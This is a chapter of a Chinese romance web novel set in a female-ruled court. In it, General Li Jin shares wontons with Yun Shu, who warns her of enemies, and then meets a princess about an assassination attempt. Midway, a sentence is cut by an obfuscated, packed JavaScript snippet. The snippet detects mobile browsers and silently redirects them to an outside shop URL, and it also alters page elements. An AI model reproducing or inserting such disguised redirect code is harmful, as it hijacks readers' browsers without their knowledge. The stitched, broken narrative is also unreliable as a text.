18. 第 18 章
作品:《请君入我怀(女尊)》 “嗯,一碗多放芫荽,一碗不要。”厉烬拉着云疏坐下,很自然地吩咐。
云疏有些意外地看了她一眼。她竟然记得他不吃芫荽?
厉烬拿起桌上粗陶茶壶,倒了杯热水,推到云疏面前:“先喝点热水暖暖。这家的汤头是用老母鸡和猪骨吊的,挺鲜的,你尝尝看喜不喜欢。”
很快,两大碗馄饨端了上来。清亮的汤,飘着油花和翠绿的葱花。
厉烬将没有芫荽的那碗推到云疏面前,又递过勺子:“小心烫。”
云疏拿起勺子,舀起一个馄饨,吹了吹,小心地咬了一口。
他眼睛微微亮了一下,轻轻点头:“很好吃。”
厉烬看着他小口小口吃东西的模样,嘴角不自觉地上扬。她自己那碗,则豪迈地搅了搅,连汤带馄饨,吃得很是畅快。
“慢点吃,没人跟你抢。”云疏看她吃得急,忍不住轻声提醒。
厉烬动作一顿,抬眼看他,眼底笑意更深:“好,听你的。”
两人默默吃着馄饨,偶尔抬头,目光不经意相撞,又各自飞快移开。
小叶和小竹此时站在大约五六米外的地方,看着这边的两人的样子,他们两个对视一下,互撞一下肩膀,不由得也开心的笑起来。
小竹说:“真好。”
“是啊。”赵护卫的声音在他头顶响起,把小竹和小叶都吓了一跳,随后几人都笑起来。
待吃完馄饨,厉烬站起身,帮云疏将大麾拢紧,然后依依不舍的看了他一会儿。
云疏看着她的举动,知道她要走了,深深地回望着她,却不知道该说什么。
预兆之事,她不会相信,即便是告诉了她,也不会改变什么,可是他总要做点什么才行……
云疏睫毛颤了颤,垂下眼眸。
厉烬见他似乎在想什么,有些出神。
她蹲下来,仰视着想看清他的表情,他还是那副淡淡的模样,只是好像多了点忧伤。
她忍不住抬手,想轻轻地碰碰他的眉心,快要碰上的时候,对方抬起眼眸看向她。
对视的那一刻,厉烬停下了动作,她收回手。
“你恨我吗?”厉烬忽然说。
云疏显然没有想到她会这么问,一向淡然的脸上,露出一丝惊讶,转瞬即逝,又那么静静的看着她。
“将军……”
厉烬打断他,“应该的。”
她垂下眼睛,想要起身,却被云疏拉住了手。厉烬身形一顿,又单膝蹲下,看向他。
云疏说:“将军,可曾觉得我是背国弃族的小人?”
“当然不,可这不一样……”
“将军只是做了将军该做的事。”云疏第一次打断她。
厉烬深深地看着他,许久……她看不透云疏,不过,也不需要看透。
她露出一个淡淡地笑,“我该走了。”
厉烬站起身,刚走了两步,再次被云疏叫住。
“将军。”
厉烬回过身,以为他不舍得自己离开,笑容也大了些,她说:“叫我阿烬。”
云疏走过来,距离她很近,用很低地声音说:“我不该提及政事,可是将军……大汤似乎有南诏人,而且……”
他想起那日,在预兆中所见,满地的鲜血,还有那仿佛要越过预兆刺向他的利剑。
“很厉害。”
云疏顿了顿,又说:“将军在朝中若有不合者,小心些。当初在北境,应对朝中不轨之人,将军赢的漂亮,可那些人背后之人,想必更加记恨。”
厉烬的眸色渐渐深沉,她正要开口,崔捷不知道从何处走过来,小跑到厉烬身侧。
“将军,要来不及了。”
厉烬深深地看了云疏一眼,叮嘱道:“照顾好自己。”
然后转身,随崔捷而去。
……
望江楼二层。雅间。
桌上已摆了几碟精致的点心,一壶温好的酒。
李玥斜靠在窗边指尖有一搭没一搭地敲着窗棂,目光在楼下人流中逡巡,嘴角噙着一抹玩味的笑。
贴身侍卫周英肃立一旁,低声道:“殿下,伤口刚包扎好,不宜饮酒,也不宜吹风。”
“啰嗦。”李玥不耐地挥挥手,目光依旧黏在窗外,“本殿心里有数。厉烬到了吗?”
话音落下。
雅间的门被轻轻叩响,随即推开。
厉烬独自一人走了进来,身上还是那件靛色长袍,发丝因走动而稍显凌乱。
“殿下。”她抱拳,行了个简礼。
“厉姐姐!你可算来了!”李玥立刻站起来,笑着迎她。
厉烬走到桌边,看了眼桌上的酒菜,没坐,“殿下有伤在身,还是应以休养为重。”
“一点小伤,不碍事。”李玥浑不在意地摆摆手,亲自执壶,倒了杯酒推到厉烬面前的位置,“姐姐坐呀,站着说话多累。我先敬姐姐一杯。”
厉烬看了她一眼,这才在对面坐下,却没碰那杯酒。“殿下客气。不知殿下所为何事?”
“所谓何事?我就不能和你一起散散心听听曲了?”李玥一脸无奈的摇头晃脑,“你呀你,自从你这次从边关回来,就跟换了一个人似的。怎么,不会是因为大皇姐突然病逝,要重立太女之位,厉姐姐便要立刻疏远了我吧?”
厉烬端起酒杯,一饮而尽,“脑袋要紧呐!”
李玥一怔,随即哈哈大笑起来。
待她笑完了,又说:“可是厉姐姐这般疏远的感觉,让我觉得浑身不自在,现在又不是朝上,像以前一样可好?”
“恭敬不如从命。”厉烬说着,直接将酒壶拿过来,给两人分别满上。
厉烬又道:“刺客的事情查清之前,殿下尽量少些在外走动。”
“呵呵,从小到大……都有想杀我的人,躲,是躲不过来的。”李玥说,“只是这次,我之所以把事情按下来,希望你能帮我暗中探查,是因为我怀疑这次的事,和太师有关。”
“殿下……”
李玥抬手,示意她让自己说完,“我知道,话不可以乱说,可证据,难啊。如果真是她,那想必,皇后那边……也有此意。这都痛下杀手了,他们很急啊!”
厉烬想到在北境时,赵主簿透
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096037|194938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
露的背后主谋,正是傅太师。可没有证据,再加上傅太师颇得圣宠。这些事,轻易不可透露。
“对了,厉姐姐,说起那夜遇险,虽然凶险,却也有一桩……好事。”
厉烬抬眼看她。
李玥此时眼睛弯弯,笑容里带着回忆还有点狡黠,“我被追的狼狈逃窜,结果你猜怎么着?我竟被一个……仙子般的人救了!”
厉烬不禁被她给逗笑了,她无奈摇摇头,说:“你有没有给仙子上香?”
“要么说你到现在还打光棍呢!”李玥的表情,比厉烬还无奈。
“我当时跑到那附近。看到一个独门小院,我翻墙进去,本想找个地方躲藏,却被里面的护卫发现。正要动手时,那家的主人出来了……我的天,厉姐姐,你是没见到,我这辈子都没见过那样好看的人!”
她比划着,眼里满是惊艳与回味:“可那通身的气度,那眉眼,那皮肤……简直……美的不可方物!
他还心地善良,救了我。
他胆子也大,见了我这满身是血的,不慌不乱,让人帮我包扎。
他还聪慧,猜出我不是一个人,同伴折了。他还冒险把我藏进他屋里……”
厉烬又点了几个菜,一边喝酒,一边听着她胡扯。
“更绝的是,”李玥越说越兴奋,“我临走前,硬是塞了块玉佩给他当信物,说日后定要报答。
他当时的样子……啧,又清冷,又有点……说不出的味道。就像是一朵天山之上的冰莲,不像是人间有的。
我当时就想,这样的绝色,就该配世上最英武的女子!厉姐姐,我第一反应就想到了你!可惜当时走的急,也不知道他家里还有些什么人。”
她遗憾地叹了口气,随即又眼睛弯弯的笑起来:“不过,我记下了那院子的大致位置。厉姐姐你什么时候抽个空,就当骑马散心。我带你去见见,保证你一眼就相中!”
“殿下忘了?我还要查刺客的事,近期应该都没空。”
“你……你真是无趣。”李玥拿起酒杯,在手里转了一圈,“南诏那位都没了,厉姐姐不能还想着呢吧?”
厉烬手上动作不停,然后说:“这鱼不错。”
“难道说……厉姐姐是真的看中了王大人家的小公子?”
厉烬轻叹一声,“你今天非得给我安排个夫郎是不是?”
李玥点头,笑道:“这后院的烦恼,不能独我一人有。”
“殿下如果没有别的事,我就先回了,明天还要巡营。”
厉烬说着,站起身便要离开。
李玥看着她朝外走的身影,一边起身想叫住她,一边大声道:“都回京了,你还巡什么营!你个糙女!”
厉烬一步未停,脚步还愈发快了些。
李玥提高声音道:“三日后,你必须随我一起去!不然我就让母皇给你赐婚!”
厉烬已经走到门外,听到“赐婚”两个字,脚步终于顿了一下,然后才又恢复速度离开。
看到她的反应,李玥笑了,端起酒杯,摇摇头,说:“看来天不怕地不怕的厉大将军,也有怕的嘛!”

